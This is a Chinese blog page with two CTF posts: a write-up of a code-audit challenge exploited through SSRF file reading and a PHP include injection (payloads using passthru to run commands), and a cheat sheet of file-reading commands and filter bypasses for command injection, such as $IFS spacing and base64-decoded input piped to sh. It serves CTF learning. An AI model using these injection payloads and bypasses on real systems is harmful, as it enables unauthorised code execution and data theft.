首页
CTF
软件
干货
生活
避坑
关于
统计
Search
1
MD5扩展攻击
442 阅读
2
白嫖BackBlaze10G存储,无限流量的图床
356 阅读
3
Typora最新破解版
331 阅读
4
解决各文库不让复制的问题
282 阅读
5
MYSQL堆叠注入操作汇总
258 阅读
Search
标签搜索
mysql
python
MD5
rce
图床
HASH
哈希扩展攻击
md
markdown
typora
命令注入
堆叠注入
JavaScript
shell
cloudflare
微信小程序
CTF
include
反序列化
爬虫
Eson
累计撰写
19
篇文章
累计收到
4
条评论
首页
栏目
CTF
软件
干货
VulnHub
生活
避坑
页面
关于
统计
搜索到
2
篇与
的结果
2024-10-18
2024年NSSCTF秋季招新赛中的一次代码审计(详细解题思路)
这个题做完以后第一时间就和好友分享,因为在这道题上走的弯路太多了,中途一度想要放弃,最后整理思路,一点一点代码审计解出来,那种喜悦还是比较大的。但是回顾起来,如果刨除了弯路,这道题其实并不难,就是简单的代码审计。打开题目,一个注册按钮,一个查看已注册信息的按钮常规思路,先注册一下注册成功之后,跳转到注册信息的页面,说实话看到这个页面,第一个想法真的是SSRF,你就说你的想法是不是吧?但也是这个想法坑了我好久好久这里先不谈弯路部分,因为首页有两个按钮,咱们先看看另外一个按钮的作用。点进去后可以看到就是以用户名为信息显示的,看上面一张图的路径,可能大家第一反应是文件包含,但是说实话,我的第一反应莫名其妙的就是序列化,可能当时感觉既然选择了读取txt,那么存放数据大概率会以序列化的形式吧,后面也印证了这点。中间有过错误思路SSRF部分,也尝试了dict、PHP、data等协议,发现可用的就是file协议走到这里的时候,相信你和我的感觉一样,这把稳了。但是尝试读取/flag的时候,发现提示文件不存在,后来发现实际上是有这个文件的。然后开始各种尝试flag文件名,又浪费了好久好久。。。最后痛定思痛,既然file可以读取文件,而已知探测出的是nginx(这个不用聊了吧?)那么 /var/www/html 下面的 index.php 是要看一看的,再加上之前涉及的save_user.php、submit.php、show_blog.php 都要看一看,于是开启了代码审计之旅。但是在代码审计上也踩了很多坑,事后想想,其实可以直接排除的,比如submit.php中的file_put_content,我在这个上面也下了很多功夫。排除万难之后,终于找到了show_blog.php中的这段。if (isset($_GET['file'])) { $filename = basename($_GET['file']); $filepath = 'data/user_profiles/' . $filename; if (file_exists($filepath)) { ob_start(); include $filepath; $fileContent = ob_get_clean(); preg_match('/Username: (.*)/', $fileContent, $usernameMatch); preg_match('/Blog: (.*)/', $fileContent, $blogMatch); $username = isset($usernameMatch[1]) ? htmlspecialchars($usernameMatch[1]) : 'Unknown User'; $blogUrl = isset($blogMatch[1]) ? htmlspecialchars($blogMatch[1]) : ''; $content = ""; $content .= <<<EOD这个include ,激动不激动?再加上我们之前的线索发现,data/user_profiles/ 下以用户名为文件名保存的txt文档里面其实就存放了用户名和blog,如下图那么我们在访问show_blog.php的时候,一定会加载我们填写的blog里面的内容,既然是include,那么只要有php标签一定会被解析。于是,开始构造payloadhttps://www.baidu.com/<?=passthru('ls${IFS}>a.txt');?>//看到这个PAYLOAD你肯定很奇怪,因为代码审计里面还有一些细节,我就不赘述了,比如下图构造完以后,我们需要访问一下show_blog.php?file=admin.txt ,好让它执行一下。然后去访问网站根目录下a.txt,就发现了一个令人开心的东西!于是构造最终payloadhttps://www.baidu.com/<?=passthru('/var/www/html/readflag.sh${IFS}>a.txt');?>//记录此文主要是提醒自己,其实有些坑仔细想想根本不用踩,一道简单题生生被自己做成了难题。
2024年10月18日
88 阅读
0 评论
1 点赞
2024-03-20
命令注入(RCE)中读取内容的各种操作
读取内容的命令正常的文件内容读取命令,我们一般都采用cat,这个大家都是比较熟悉的,但是在CTF题目里一般不会让你那么简单就得到flag的,所以会加一些过滤,咱们就来先看一看linux下读取文件内容的姿势到底有哪些吧!tactac是从最后一行开始网上读取文件内容,我们先来正常读取 test 这个文件的内容[root@localhost]# cat test aaaa bbbb cccc再来看一下tac命令读取的内容[root@localhost]# tac test cccc bbbb aaaamoremore,是linux的一个命令,类似cat命令,会以一页一页的显示,方便使用者逐页阅读,但是当内容过少的时候你感觉不出来它和cat有什么区别。[root@localhost]# more test aaaa bbbb cccclessless命令允许用户向前或向后浏览文件,而more命令只能向前浏览。和more一样,当文件内容过少的时候你也感觉不出它和cat有什么区别,但是当你在命令行输入的时候就不同了,命令行里会直接进入一个预览界面,而做CTF的时候是完全感觉不出来的。headhead就像它的名字一样的浅显易懂,它是用来显示开头某个数量的文字区块,可以使用参数指定显示开头多少行,但是读取flag不需要加参数,毕竟flag都只在第一行就显示了。[root@localhost]# head test aaaa bbbb cccctailtail和head简直一模一样,只不过它是用来显示尾部多少行的,虽然它还有一个功能是实时监控文件变化,但是跟咱们今天要研究的方向无关,这里不多测试了。[root@localhost]# tail test aaaa bbbb ccccnlnl的功能是带行号显示文件内容[root@localhost]# nl test 1 aaaa 2 bbbb 3 ccccrevrev 行的读取顺序不变,但是每一行都是倒序读取过来的,这里演示可能看不太明显。你能理解这句话的意思就行,然后配合python的[::-1]再反过来就可以了。[root@localhost]# rev test aaaa bbbb ccccodod :以二进制方式读取文件内容,往往配合参数使用。[root@localhost]# od -a -c -d test 0000000 a a a a nl b b b b nl c c c c nl a a a a \n b b b b \n c c c c \n 24929 24929 25098 25186 2658 25443 25443 10 0000017xxdxxd 以二进制方式读取文件内容,但是多数原生linux中不会自带这个工具,所以大概率用不上,这里不做演示了。sortsort 主要用于字符排序,可以利用它来查看文件内容,算是变相利用了。[root@localhost]# sort test aaaa bbbb ccccuniquniq 报告或删除文件中重复的行,也算是变相利用。[root@localhost]# uniq test aaaa bbbb ccccfile主要是利用 -f 来报错出文件内容,因为咱们的内容基本上都不是可执行的linux命令,所以使用file来读取的时候会出错,使用-f来显示报错内容,就可以达到查看文件内容的目的了。[root@localhost]# file -f test aaaa: cannot open (No such file or directory) bbbb: cannot open (No such file or directory) cccc: cannot open (No such file or directory)grep这也是个骚操作,先来看看基本利用,等下再来说正式的利用方法。[root@localhost]# grep aa test aaaa上面是在test这里文件里面查找aa字符,会把带有aa的一整行内容显示出来,那我们搜索flag文件里面的f不就得到想要的东西了么?[root@localhost]# grep f flag flag{123456}fmt一个功能很强大的命令,单纯的用它来显示flag有点屈才了[root@localhost]# fmt test aaaa bbbb cccc利用字符恢复cat[root@localhost]# c''at flag flag{123456} [root@localhost]# c$1at flag flag{123456} [root@localhost]# ca\t flag flag{123456}屏蔽了flag字符先来个骚操作,一套组合拳,利用inum读取内容[root@localhost]# ls -i 85 file100 73 flag 75 npc 74 test可以看到,我们想读取的flag的inum是73[root@localhost]# cat `find ./ -inum 73` flag{123456}然后就是常规操作,利用变量绕过关键字检测[root@localhost]# a=fl;b=ag;cat $a$b flag{123456}再来个利用base64编码绕过,Y2F0IGZsYWc=解码后是cat flag[root@localhost]# echo Y2F0IGZsYWc= | base64 -d | sh flag{123456}利用'绕过[root@localhost]# cat fl''ag flag{123456}利用\绕过[root@localhost]# cat fl\ag flag{123456}利用变量绕过[root@localhost]# cat fl$1ag flag{123456}利用十六进制绕过,这台电脑也没安装xxd,如果安装的话可以正常回显[root@localhost]# echo 63617420666c6167 | xxd -r -p | sh -bash: xxd: 未找到命令屏蔽了空格<绕过[root@localhost]# cat<flag flag{123456}$IFS$9绕过[root@localhost]# cat$IFS$9flag flag{123456}${IFS}绕过[root@localhost]# cat${IFS}flag flag{123456}
2024年03月20日
224 阅读
0 评论
2 点赞